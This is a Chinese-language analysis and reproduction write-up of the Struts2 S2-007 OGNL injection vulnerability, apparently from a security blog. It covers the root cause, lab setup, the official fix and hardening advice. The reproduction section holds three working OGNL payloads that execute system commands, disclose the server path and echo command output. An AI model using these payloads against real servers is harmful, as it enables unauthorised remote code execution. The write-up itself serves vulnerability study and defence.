Java代码审计之Struts2-007(五)
字数 1485 2025-08-25 22:59:09

Struts2-007 远程代码执行漏洞分析与复现

漏洞概述

Struts2-007 (S2-007) 是一个远程代码执行漏洞,影响 Struts2 框架版本 2.0.0 到 2.2.3。该漏洞源于类型转换错误处理不当,导致攻击者可以通过构造恶意请求注入OGNL表达式,从而在服务器上执行任意代码。

影响版本

  • Struts 2.0.0 - Struts 2.2.3

漏洞环境搭建

  1. 下载漏洞版本:
    • http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip
  2. 使用 Vulhub 提供的环境:
    • https://github.com/vulhub/vulhub/tree/master/struts2/s2-007
  3. 部署环境:
    • Apache Tomcat/8.5.47 + struts-2.0.8

漏洞原理分析

核心问题

Struts2框架允许将HTTP请求数据注入到Action的属性中。当属性类型与输入类型不匹配时(如将字符串注入到Integer类型属性),会触发类型转换错误。框架会将用户输入的数据经过处理后返回给用户,在这个过程中存在OGNL表达式注入漏洞。

漏洞触发流程

  1. 类型转换错误触发

    • 当用户输入的数据类型与Action属性类型不匹配时(如字符串输入到Integer属性),触发类型转换错误
  2. 错误处理流程

    • ConversionErrorInterceptor拦截器处理类型转换错误
    • 将用户输入的值存入fakie变量
    • 在存入前,使用getOverrideExpr方法处理输入值
  3. OGNL注入点

    • getOverrideExpr方法在用户输入值两边拼接单引号
    • 处理后的值存入OgnlValueStack.overrides变量
    • 在解析Struts2结束标签时,会从OgnlValueStack.overrides取出值并通过OGNL执行

关键代码分析

  1. ConversionErrorInterceptor.intercept()方法:

    • 处理类型转换错误的入口点
    • 将用户输入存入fakie变量
  2. getOverrideExpr()方法:

    protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
        return "'" + value + "'";
    }
    
    • 简单地在输入值前后添加单引号,没有进行任何过滤
  3. OGNL执行点:

    • 在标签解析过程中,未过滤的输入值被直接作为OGNL表达式执行

漏洞复现

攻击Payload示例

  1. 执行系统命令(弹计算器)

    '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
    
  2. 获取服务器绝对路径

    '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath("/")))+'
    
  3. 执行命令并回显结果

    '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
    

复现步骤

  1. 找到存在类型转换错误的输入点(如Integer类型字段)
  2. 在该字段输入上述任意Payload
  3. 观察服务器响应或执行结果

漏洞修复

官方在后续版本中修复了此漏洞,主要修改点:

  1. 使用org.apache.commons.lang.StringEscapeUtils.escapeJava()过滤字符串
  2. 修复后的getOverrideExpr方法会对特殊字符进行转义处理

修复代码对比:

  • 左图(xwork-2.0.3):直接拼接单引号,无过滤
  • 右图(xwork-2.2.3.1):使用escapeJava()方法过滤

防护建议

  1. 升级到不受影响的Struts2版本
  2. 对用户输入进行严格过滤和验证
  3. 在类型转换错误处理中避免直接回显未过滤的用户输入
  4. 限制OGNL表达式的执行权限

参考

  1. 官方通告:https://cwiki.apache.org/confluence/display/WW/S2-007
  2. Struts2-Vuln项目:包含更多Struts2漏洞分析
Struts2-007 远程代码执行漏洞分析与复现 漏洞概述 Struts2-007 (S2-007) 是一个远程代码执行漏洞,影响 Struts2 框架版本 2.0.0 到 2.2.3。该漏洞源于类型转换错误处理不当,导致攻击者可以通过构造恶意请求注入OGNL表达式,从而在服务器上执行任意代码。 影响版本 Struts 2.0.0 - Struts 2.2.3 漏洞环境搭建 下载漏洞版本: http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip 使用 Vulhub 提供的环境: https://github.com/vulhub/vulhub/tree/master/struts2/s2-007 部署环境: Apache Tomcat/8.5.47 + struts-2.0.8 漏洞原理分析 核心问题 Struts2框架允许将HTTP请求数据注入到Action的属性中。当属性类型与输入类型不匹配时(如将字符串注入到Integer类型属性),会触发类型转换错误。框架会将用户输入的数据经过处理后返回给用户,在这个过程中存在OGNL表达式注入漏洞。 漏洞触发流程 类型转换错误触发 : 当用户输入的数据类型与Action属性类型不匹配时(如字符串输入到Integer属性),触发类型转换错误 错误处理流程 : ConversionErrorInterceptor 拦截器处理类型转换错误 将用户输入的值存入 fakie 变量 在存入前,使用 getOverrideExpr 方法处理输入值 OGNL注入点 : getOverrideExpr 方法在用户输入值两边拼接单引号 处理后的值存入 OgnlValueStack.overrides 变量 在解析Struts2结束标签时,会从 OgnlValueStack.overrides 取出值并通过OGNL执行 关键代码分析 ConversionErrorInterceptor.intercept() 方法: 处理类型转换错误的入口点 将用户输入存入 fakie 变量 getOverrideExpr() 方法: 简单地在输入值前后添加单引号,没有进行任何过滤 OGNL执行点: 在标签解析过程中,未过滤的输入值被直接作为OGNL表达式执行 漏洞复现 攻击Payload示例 执行系统命令(弹计算器) : 获取服务器绝对路径 : 执行命令并回显结果 : 复现步骤 找到存在类型转换错误的输入点(如Integer类型字段) 在该字段输入上述任意Payload 观察服务器响应或执行结果 漏洞修复 官方在后续版本中修复了此漏洞,主要修改点: 使用 org.apache.commons.lang.StringEscapeUtils.escapeJava() 过滤字符串 修复后的 getOverrideExpr 方法会对特殊字符进行转义处理 修复代码对比: 左图(xwork-2.0.3):直接拼接单引号,无过滤 右图(xwork-2.2.3.1):使用 escapeJava() 方法过滤 防护建议 升级到不受影响的Struts2版本 对用户输入进行严格过滤和验证 在类型转换错误处理中避免直接回显未过滤的用户输入 限制OGNL表达式的执行权限 参考 官方通告:https://cwiki.apache.org/confluence/display/WW/S2-007 Struts2-Vuln项目:包含更多Struts2漏洞分析